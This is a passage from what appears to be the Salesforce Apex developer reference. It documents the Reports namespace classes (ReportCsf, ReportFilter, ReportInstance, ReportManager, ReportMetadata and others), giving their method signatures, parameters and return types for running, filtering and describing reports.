public Reports.FormulaType getFormulaType()

Return Value
Type: Reports.FormulaType

getLabel()
Returns the user-facing name of the custom summary formula.

Signature
public String getLabel()

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Reference

ReportCsf Class

Return Value
Type: String

setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.

Signature
public void setAcrossGroup(String acrossGroup)

Parameters
acrossGroup

Type: String

Return Value
Type: void

setAcrossGroupType(value)
Sets where to display the aggregate.

Signature
public void setAcrossGroupType(String value)

Parameters
value

Type: String
For possible values, see Reports.CsfGroupType.

Return Value
Type: void

setAcrossGroupType(acrossGroupType)
Sets where to display the aggregate.

Signature
public void setAcrossGroupType(Reports.CsfGroupType acrossGroupType)

Parameters
acrossGroupType

Type: Reports.CsfGroupType

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Reference

ReportCsf Class

Return Value
Type: void

setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.

Signature
public void setDecimalPlaces(Integer decimalPlaces)

Parameters
decimalPlaces

Type: Integer

Return Value
Type: void

setDescription(description)
Sets the user-facing description of the custom summary formula.

Signature
public void setDescription(String description)

Parameters
description

Type: String

Return Value
Type: void

setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.

Signature
public void setDownGroup(String downGroup)

Parameters
downGroup

Type: String

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Reference

ReportCsf Class

Return Value
Type: void

setDownGroupType(value)
Sets where to display the aggregate.

Signature
public void setDownGroupType(String value)

Parameters
value

Type: String
For valid values, see Reports.CsfGroupType.

Return Value
Type: void

setDownGroupType(downGroupType)
Sets where to display the aggregate.

Signature
public void setDownGroupType(Reports.CsfGroupType downGroupType)

Parameters
downGroupType

Type: Reports.CsfGroupType

Return Value
Type: void

setFormula(formula)
Sets the operations to perform on values in the custom summary formula.

Signature
public void setFormula(String formula)

Parameters
formula

Type: String

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Reference

ReportCsf Class

Return Value
Type: void

setFormulaType(value)
Sets the format of the numbers in the custom summary formula.

Signature
public void setFormulaType(String value)

Parameters
value

Type: String
For valid values, see Reports.FormulaType.

Return Value
Type: void

setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.

Signature
public void setFormulaType(Reports.FormulaType formulaType)

Parameters
formulaType

Type: Reports.FormulaType

Return Value
Type: void

setLabel(label)
Sets the user-facing name of the custom summary formula.

Signature
public void setLabel(String label)

Parameters
label

Type: String

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Reference

ReportCurrency Class

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

ReportCurrency Class
Contains information about a currency value, including the amount and currency code.

Namespace
Reports

ReportCurrency Methods
The following are methods for ReportCurrency. All are instance methods.
IN THIS SECTION:
getAmount()
Returns the amount of the currency value.
getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null
if the organization does not have multicurrency enabled.

getAmount()
Returns the amount of the currency value.

Syntax
public Decimal getAmount()

Return Value
Type: Decimal

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Reference

ReportDataCell Class

getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if
the organization does not have multicurrency enabled.

Syntax
public String getCurrencyCode()

Return Value
Type: String

ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.

Namespace
Reports

ReportDataCell Methods
The following are methods for ReportDataCell. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the value of a specified cell in the report.
getValue()
Returns the value of a specified cell of a detail row of a report.

getLabel()
Returns the localized display name of the value of a specified cell in the report.

Syntax
public String getLabel()

Return Value
Type: String

getValue()
Returns the value of a specified cell of a detail row of a report.

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Reference

ReportDescribeResult Class

Syntax
public Object getValue()

Return Value
Type: Object

ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.

Namespace
Reports

ReportDescribeResult Methods
The following are methods for ReportDescribeResult. All are instance methods.
IN THIS SECTION:
getReportExtendedMetadata()
Returns additional information about grouping and summaries.
getReportMetadata()
Returns unique identifiers for groupings and summaries.
getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.

getReportExtendedMetadata()
Returns additional information about grouping and summaries.

Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()

Return Value
Type: Reports.ReportExtendedMetadata

getReportMetadata()
Returns unique identifiers for groupings and summaries.

Syntax
public Reports.ReportMetadata getReportMetadata()

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Reference

ReportDetailRow Class

Return Value
Type: Reports.ReportMetadata

getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.

Syntax
public Reports.ReportTypeMetadata getReportTypeMetadata()

Return Value
Type: Reports.ReportTypeMetadata

ReportDetailRow Class
Contains data cells for a detail row of a report.

Namespace
Reports

ReportDetailRow Methods
The following are methods for ReportDetailRow. All are instance methods.
IN THIS SECTION:
getDataCells()
Returns a list of data cells for a detail row.

getDataCells()
Returns a list of data cells for a detail row.

Syntax
public LIST<Reports.ReportDataCell> getDataCells()

Return Value
Type: List<Reports.ReportDataCell>

ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.

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Reference

ReportExtendedMetadata Class

Available only if your organization uses divisions to segment data and you have the Affected by Divisions permission. If you do not
have the Affected by Divisions permission, your reports include records in all divisions.

Namespace
Reports

Usage
Use to filter records in the report based on a division, like West Coast and East Coast.

ReportDivisionInfo Methods
The following are methods for ReportDivisionInfo.

getDefaultValue()
Returns the default division for the report.

Signature
public String getDefaultValue()

Return Value
Type: String

getValues()
Returns a list of all possible divisions for the report.

Signature
public List<Reports.FilterValue> getValues()

Return Value
Type: List<Reports.FilterValue>

ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.

Namespace
Reports
Report extended metadata provides additional, detailed metadata about summary and grouping fields, including data type and label
information.

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Reference

ReportExtendedMetadata Class

ReportExtendedMetadata Methods
The following are methods for ReportExtendedMetadata. All are instance methods.
IN THIS SECTION:
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains
values for each summary that is listed in the report metadata.
getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are
also listed in the report metadata.
getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the
groupingsDown and groupingsAcross lists.

getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values
for each summary that is listed in the report metadata.

Syntax
public MAP<String,Reports.AggregateColumn> getAggregateColumnInfo()

Return Value
Type: Map<String,Reports.AggregateColumn>

getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also
listed in the report metadata.

Syntax
public MAP<String,Reports.DetailColumn> getDetailColumnInfo()

Return Value
Type: Map<String,Reports.DetailColumn>

getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown
and groupingsAcross lists.

Syntax
public MAP<String,Reports.GroupingColumn> getGroupingColumnInfo()

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Reference

ReportFact Class

Return Value
Type: Map<String,Reports.GroupingColumn>

ReportFact Class
Contains the fact map for the report, which represents the reports data values.

Namespace
Reports

Usage
ReportFact is the parent class of ReportFactWithDetails and ReportFactWithSummaries. If includeDetails
is true when the report is run, the fact map is a ReportFactWithDetails object. If includeDetails is false when
the report is run, the fact map is a ReportFactWithSummaries object.

ReportFact Methods
The following are methods for ReportFact. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.

getAggregates()
Returns summary-level data for a report, including the record count.

Syntax
public LIST<Reports.SummaryValue> getAggregates()

Return Value
Type: List<Reports.SummaryValue>

getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

Syntax
public String getKey()

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Reference

ReportFactWithDetails Class

Return Value
Type: String

ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the reports data values.

Namespace
Reports

Usage
The ReportFactWithDetails class extends the ReportFact class. A ReportFactWithDetails object is returned if
includeDetails is set to true when the report is run. To access the detail values, youll need to cast the return value of the
ReportResults.getFactMap method to a ReportFactWithDetails object.

ReportFactWithDetails Methods
The following are methods for ReportFactWithDetails. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.
getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.

getAggregates()
Returns summary-level data for a report, including the record count.

Syntax
public LIST<Reports.SummaryValue> getAggregates()

Return Value
Type: List<Reports.SummaryValue>

getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

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Reference

ReportFactWithSummaries Class

Syntax
public String getKey()

Return Value
Type: String

getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.

Syntax
public LIST<Reports.ReportDetailRow> getRows()

Return Value
Type: List<Reports.ReportDetailRow>

ReportFactWithSummaries Class
Contains the fact map for the report, which represents the reports data values, and includes summarized fields.

Namespace
Reports

Usage
The ReportFactWithSummaries class extends the ReportFact class. A ReportFactWithSummaries object is
returned if includeDetails is set to false when the report is run.

ReportFactWithSummaries Methods
The following are methods for ReportFactWithSummaries. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.
toString()
Returns a string.

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Reference

ReportFilter Class

getAggregates()
Returns summary-level data for a report, including the record count.

Syntax
public LIST<Reports.SummaryValue> getAggregates()

Return Value
Type: List<Reports.SummaryValue>

getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

Syntax
public String getKey()

Return Value
Type: String

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

ReportFilter Class
Contains information about a report filter, including column, operator, and value.

Namespace
Reports
IN THIS SECTION:
ReportFilter Constructors
ReportFilter Methods

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Reference

ReportFilter Class

ReportFilter Constructors
The following are constructors for ReportFilter.
IN THIS SECTION:
ReportFilter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the set methods.
ReportFilter(column, operator, value)
Creates a new instance of the Reports.ReportFilter class by using the specified parameters.

ReportFilter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the set methods.

Signature
public ReportFilter()

ReportFilter(column, operator, value)

Creates a new instance of the Reports.ReportFilter class by using the specified parameters.

Signature
public ReportFilter(String column, String operator, String value)

Parameters
column

Type: String
operator

Type: String
value

Type: String

ReportFilter Methods
The following are methods for ReportFilter. All are instance methods.
IN THIS SECTION:
getColumn()
Returns the unique API name for the field thats being filtered.
getOperator()
Returns the unique API name for the condition that is used to filter a field, such as greater than or not equal to. Filter conditions
depend on the data type of the field.

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Reference

ReportFilter Class

getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
setColumn(column)
Sets the unique API name for the field thats being filtered.
setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as greater than or not equal to. Filter conditions
depend on the data type of the field.
setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

getColumn()
Returns the unique API name for the field thats being filtered.

Syntax
public String getColumn()

Return Value
Type: String

getOperator()
Returns the unique API name for the condition that is used to filter a field, such as greater than or not equal to. Filter conditions
depend on the data type of the field.

Syntax
public String getOperator()

Return Value
Type: String

getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

Syntax
public String getValue()

Return Value
Type: String

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Reference

ReportFilter Class

setColumn(column)
Sets the unique API name for the field thats being filtered.

Syntax
public Void setColumn(String column)

Parameters
column

Type: String

Return Value
Type: Void

setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as greater than or not equal to. Filter conditions depend
on the data type of the field.

Syntax
public Void setOperator(String operator)

Parameters
operator

Type: String

Return Value
Type: Void

setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

Syntax
public Void setValue(String value)

Parameters
value

Type: String

Return Value
Type: Void

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Reference

ReportFormat Enum

ReportFormat Enum
Contains the possible report format types.

Namespace
Reports

Enum Values
The following are the values of the Reports.ReportFormat enum.
Value

Description

MATRIX

Matrix report format

SUMMARY

Summary report format

TABULAR

Tabular report format

ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.

Namespace
Reports

ReportInstance Methods
The following are methods for ReportInstance. All are instance methods.
IN THIS SECTION:
getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report
instance ran successfully or couldnt be run because of an error. Date and time information is in ISO-8601 format.
getId()
Returns the unique ID for an instance of a report that was run asynchronously.
getOwnerId()
Returns the ID of the user who created the report instance.
getReportId()
Returns the unique ID of the report this instance is based on.
getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize
data or include details.

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Reference

ReportInstance Class

getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.
getStatus()
Returns the status of a report.

getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance
ran successfully or couldnt be run because of an error. Date and time information is in ISO-8601 format.

Syntax
public Datetime getCompletionDate()

Return Value
Type: Datetime

getId()
Returns the unique ID for an instance of a report that was run asynchronously.

Syntax
public Id getId()

Return Value
Type: Id

getOwnerId()
Returns the ID of the user who created the report instance.

Syntax
public Id getOwnerId()

Return Value
Type: Id

getReportId()
Returns the unique ID of the report this instance is based on.

Syntax
public Id getReportId()

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Reference

ReportInstance Class

Return Value
Type: Id

getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data
or include details.

Syntax
public Reports.ReportResults getReportResults()

Return Value
Type: Reports.ReportResults

getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.

Syntax
public Datetime getRequestDate()

Return Value
Type: Datetime

getStatus()
Returns the status of a report.

Syntax
public String getStatus()

Return Value
Type: String

Usage
New if the report run was recently triggered through a request.
Success if the report ran.
Running if the report is being run.
Error if the report run failed. The instance of a report run can return an error if, for example, your permission to access the report
was removed after you requested the run.

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Reference

ReportManager Class

ReportManager Class
Runs a report synchronously or asynchronously and with or without details.

Namespace
Reports

Usage
Gets instances of reports and describes the metadata of Reports.

ReportManager Methods
The following are methods for ReportManager. All methods are static.
IN THIS SECTION:
describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.
getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.
getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous
report determine whether you can retrieve summary data or detailed data.
getReportInstances(reportId)
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report,
with metadata for the time at which the report was run.
runAsyncReport(reportId, reportMetadata, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based
on the report metadata in reportMetadata.
runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.
runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.
runAsyncReport(reportId)
Runs a report asynchronously with the report ID.
runReport(reportId, reportMetadata, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on
the report metadata in reportMetadata.
runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.
runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in rmData.

1793

Reference

ReportManager Class

runReport(reportId)
Runs a report immediately with the report ID.

describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.

Syntax
public static Reports.ReportDescribeResult describeReport(Id reportId)

Parameters
reportId

Type: Id

Return Value
Type: Reports.ReportDescribeResult

getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.

Syntax
public static MAP<String,LIST<Reports.FilterOperator>> getDatatypeFilterOperatorMap()

Return Value
Type: Map<String, List<Reports.FilterOperator>>

getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous
report determine whether you can retrieve summary data or detailed data.

Syntax
public static Reports.ReportInstance getReportInstance(Id instanceId)

Parameters
instanceId

Type: Id

Return Value
Type: Reports.ReportInstance

1794

Reference

ReportManager Class

getReportInstances(reportId)
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with
metadata for the time at which the report was run.

Syntax
public static LIST<Reports.ReportInstance> getReportInstances(Id reportId)

Parameters
reportId

Type: Id

Return Value
Type: List<Reports.ReportInstance>

runAsyncReport(reportId, reportMetadata, includeDetails)

Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based on
the report metadata in reportMetadata.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata
reportMetadata, Boolean includeDetails)

Parameters
reportId

Type: Id
reportMetadata

Type: Reports.ReportMetadata
includeDetails

Type: Boolean

Return Value
Type: Reports.ReportInstance

runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Boolean includeDetails)

1795

Reference

ReportManager Class

Parameters
reportId

Type: Id
includeDetails

Type: Boolean

Return Value
Type: Reports.ReportInstance

runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata
reportMetadata)

Parameters
reportId

Type: Id
reportMetadata

Type: Reports.ReportMetadata

Return Value
Type: Reports.ReportInstance

runAsyncReport(reportId)
Runs a report asynchronously with the report ID.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId)

Parameters
reportId

Type: Id

Return Value
Type: Reports.ReportInstance

1796

Reference

ReportManager Class

runReport(reportId, reportMetadata, includeDetails)

Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on the
report metadata in reportMetadata.

Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata
reportMetadata, Boolean includeDetails)

Parameters
reportId

Type: Id
reportMetadata

Type: Reports.ReportMetadata
includeDetails

Type: Boolean

Return Value
Type: Reports.ReportResults

runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.

Syntax
public static Reports.ReportResults runReport(Id reportId, Boolean includeDetails)

Parameters
reportId

Type: Id
includeDetails

Type: Boolean

Return Value
Type: Reports.ReportResults

runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in rmData.

Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata
reportMetadata)

1797

Reference

ReportMetadata Class

Parameters
reportId

Type: Id
reportMetadata

Type: Reports.ReportMetadata Reports.ReportMetadata

Return Value
Type: Reports.ReportResults

runReport(reportId)
Runs a report immediately with the report ID.

Syntax
public static Reports.ReportResults runReport(Id reportId)

Parameters
reportId

Type: Id

Return Value
Type: Reports.ReportResults

ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.

Namespace
Reports

Usage
Report metadata gives information about the report as a whole, such as the report type, format, summary fields, row or column groupings,
and filters that are saved to the report. You can use the ReportMetadata class to retrieve report metadata and to set metadata
that can be used to filter a report.

ReportMetadata Methods
The following are methods for ReportMetadata. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.

1798

Reference

ReportMetadata Class

getBuckets()
Returns a list of bucket fields in the report.
getCrossFilters()
Returns information about cross filters applied to a report.
getCurrencyCode()
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the
organization does not have multicurrency enabled.
getCustomSummaryFormula()
Returns information about custom summary formulas in a report.
getDescription()
Returns the description of the report.
getDetailColumns()
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the
following values: OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.
getDeveloperName()
Returns the report API name. For example, the method might return the following value: Closed_Sales_This_Quarter.
getDivision()
Returns the division specified in the report.
getGroupingsAcross()
Returns column groupings in a report.
getGroupingsDown()
Returns row groupings for a report.
getHasDetailRows()
Indicates whether the report has detail rows.
getHasRecordCount()
Indicates whether the report shows the total number of records.
getHistoricalSnapshotDates()
Returns a list of historical snapshot dates.
getId()
Returns the unique report ID.
getName()
Returns the report name.
getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.
getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.
getReportFormat()
Returns the format of the report.
getReportType()
Returns the unique API name and display name for the report type.

1799

Reference

ReportMetadata Class

getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.
getShowGrandTotal()
Indicates whether the report shows the grand total.
getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.
getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.
getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API
name.
getStandardFilters()
Returns a list of standard filters for the report.
getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.
setAggregates(aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.
setBuckets(buckets)
Creates bucket fields in a report.
setCrossFilters(crossFilters)
Applies cross filters to a report.
setCurrencyCode(currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.
setCustomSummaryFormula(customSummaryFormula)
Adds a custom summary formula to a report.
setDescription(description)
Sets the description of the report.
setDetailColumns(detailColumns)
Sets the unique API names for the fields that contain detailed datafor example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE,
or AMOUNT.
setDeveloperName(developerName)
Sets the report API namefor example, Closed_Sales_This_Quarter.
setDivision(division)
Sets the division of the report.
setGroupingsAcross(groupingInfo)
Sets column groupings in a report.
setGroupingsDown(groupingInfo)
Sets row groupings for a report.
setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.

1800

Reference

ReportMetadata Class

setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.
setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.
setId(id)
Sets the unique report ID.
setName(name)
Sets the report name.
setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.
setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.
setReportFormat(format)
Sets the format of the report.
setReportType(reportType)
Sets the unique API name and display name for the report type.
setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.
setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.
setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.
setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.
setStandardDateFilter(dateFilter)
Sets the standard date filterwhich includes the start date, end date, date range, and date field API namefor the report.
setStandardFilters(filters)
Sets one or more standard filters on the report.
setTopRows(topRows)
Applies a row limit filter to a report.

getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.

Syntax
public LIST<String> getAggregates()

Return Value
Type: List<String>

1801

Reference

ReportMetadata Class

Usage
For example:
a!Amount represents the average for the Amount column.
s!Amount represents the sum of the Amount column.
m!Amount represents the minimum value of the Amount column.
x!Amount represents the maximum value of the Amount column.
s!<customfieldID> represents the sum of a custom field column. For custom fields and custom report types, the identifier
is a combination of the summary type and the field ID.

getBuckets()
Returns a list of bucket fields in the report.

Signature
public List<Reports.BucketField> getBuckets()

Return Value
Type: List<Reports.BucketField>

getCrossFilters()
Returns information about cross filters applied to a report.

Signature
public Reports.CrossFilter getCrossFilters()

Return Value
Type: List<Reports.CrossFilter>

getCurrencyCode()
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the
organization does not have multicurrency enabled.

Syntax
public String getCurrencyCode()

Return Value
Type: String

getCustomSummaryFormula()
Returns information about custom summary formulas in a report.

1802

Reference

ReportMetadata Class

Signature
public Map<String,Reports.ReportCsf> getCustomSummaryFormula()

Return Value
Type: Map<String,Reports.ReportCsf>

getDescription()
Returns the description of the report.

Signature
public String getDescription()

Return Value
Type: String

getDetailColumns()
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following
values: OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.

Syntax
public LIST<String> getDetailColumns()

Return Value
Type: List<String>

getDeveloperName()
Returns the report API name. For example, the method might return the following value: Closed_Sales_This_Quarter.

Syntax
public String getDeveloperName()

Return Value
Type: String

getDivision()
Returns the division specified in the report.
Note: Reports that use standard filters (such as My Cases or My Teams Accounts) show records in all divisions. These reports cant
be further limited to a specific division.

1803

Reference

ReportMetadata Class

Signature
public String getDivision()

Return Value
Type: String

getGroupingsAcross()
Returns column groupings in a report.

Syntax
public LIST<Reports.GroupingInfo> getGroupingsAcross()

Return Value
Type: List<Reports.GroupingInfo>

Usage
The identifier is:
An empty array for reports in summary format, because summary reports don't include column groupings
BucketField_(ID) for bucket fields
The ID of a custom field when the custom field is used for a column grouping

getGroupingsDown()
Returns row groupings for a report.

Syntax
public LIST<Reports.GroupingInfo> getGroupingsDown()

Return Value
Type: List<Reports.GroupingInfo>

Usage
The identifier is:
BucketField_(ID) for bucket fields
The ID of a custom field when the custom field is used for grouping

getHasDetailRows()
Indicates whether the report has detail rows.

1804

Reference

ReportMetadata Class

Signature
public Boolean getHasDetailRows()

Return Value
Type: Boolean

getHasRecordCount()
Indicates whether the report shows the total number of records.

Signature
public Boolean getHasRecordCount()

Return Value
Type: Boolean

getHistoricalSnapshotDates()
Returns a list of historical snapshot dates.

Syntax
public LIST<String> getHistoricalSnapshotDates()

Return Value
Type: List<String>

getId()
Returns the unique report ID.

Syntax
public Id getId()

Return Value
Type: Id

getName()
Returns the report name.

Syntax
public String getName()

1805

Reference

ReportMetadata Class

Return Value
Type: String

getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.

Syntax
public String getReportBooleanFilter()

Return Value
Type: String

getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.

Syntax
public LIST<Reports.ReportFilter> getReportFilters()

Return Value
Type: List<Reports.ReportFilter>

getReportFormat()
Returns the format of the report.

Syntax
public Reports.ReportFormat getReportFormat()

Return Value
Type: Reports.ReportFormat

Usage
This value can be:
TABULAR
SUMMARY
MATRIX

getReportType()
Returns the unique API name and display name for the report type.

1806

Reference

ReportMetadata Class

Syntax
public Reports.ReportType getReportType()

Return Value
Type: Reports.ReportType

getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.

Signature
public String getScope()

Return Value
Type: String

getShowGrandTotal()
Indicates whether the report shows the grand total.

Signature
public Boolean getShowGrandTotal()

Return Value
Type: Boolean

getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.

Signature
public Boolean getShowSubtotals()

Return Value
Type: Boolean

getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.

Signature
public List<Reports.SortColumn> getSortBy()

1807

Reference

ReportMetadata Class

Return Value
Type: List<Reports.SortColumn>

getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.

Signature
public Reports.StandardDateFilter getStandardDateFilter()

Return Value
Type: Reports.StandardDateFilter

getStandardFilters()
Returns a list of standard filters for the report.

Signature
public List<Reports.StandardFilter> getStandardFilters()

Return Value
Type: List<Reports.StandardFilter>

getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.

Signature
public Reports.TopRows getTopRows()

Return Value
Type: Reports.TopRows

setAggregates(aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.

Signature
public void setAggregates(List<String> aggregates)

1808

Reference

ReportMetadata Class

Parameters
aggregates

Type: List<String>

Return Value
Type: void

setBuckets(buckets)
Creates bucket fields in a report.

Signature
public void setBuckets(List<Reports.BucketField> buckets)

Parameters
buckets

Type: List<Reports.BucketField>

Return Value
Type: void

setCrossFilters(crossFilters)
Applies cross filters to a report.

Signature
public void setCrossFilters(List<Reports.CrossFilter> crossFilters)

Parameters
crossFilter

Type: List<Reports.CrossFilter>

Return Value
Type: void

setCurrencyCode(currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.

Signature
public void setCurrencyCode(String currencyCode)

1809

Reference

ReportMetadata Class

Parameters
currencyCode

Type: String

Return Value
Type: void

setCustomSummaryFormula(customSummaryFormula)
Adds a custom summary formula to a report.

Signature
public void setCustomSummaryFormula(MAP<String,Reports.ReportCsf> customSummaryFormula)

Parameters
customSummaryFormula

Type: Map<String, Reports.ReportCsf>

Return Value
Type: void

setDescription(description)
Sets the description of the report.

Signature
public void setDescription(String description)

Parameters
description

Type: String

Return Value
Type: void

setDetailColumns(detailColumns)
Sets the unique API names for the fields that contain detailed datafor example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE,
or AMOUNT.

Signature
public void setDetailColumns(List<String> detailColumns)

1810

Reference

ReportMetadata Class

Parameters
detailColumns

Type: List<String>

Return Value
Type: void

setDeveloperName(developerName)
Sets the report API namefor example, Closed_Sales_This_Quarter.

Signature
public void setDeveloperName(String developerName)

Parameters
developerName

Type: String

Return Value
Type: void

setDivision(division)
Sets the division of the report.
Note: Reports that use standard filters (such as My Cases or My Teams Accounts) show records in all divisions. These reports cant
be further limited to a specific division.

Signature
public void setDivision(String division)

Parameters
division

Type: String

Return Value
Type: void

setGroupingsAcross(groupingInfo)
Sets column groupings in a report.

1811

Reference

ReportMetadata Class

Signature
public void setGroupingsAcross(List<Reports.GroupingInfo> groupingInfo)

Parameters
groupingInfo

Type: List<Reports.GroupingInfo>

Return Value
Type: void

setGroupingsDown(groupingInfo)
Sets row groupings for a report.

Signature
public void setGroupingsDown(List<Reports.GroupingInfo> groupingInfo)

Parameters
groupingInfo

Type: List<Reports.GroupingInfo>

Return Value
Type: void

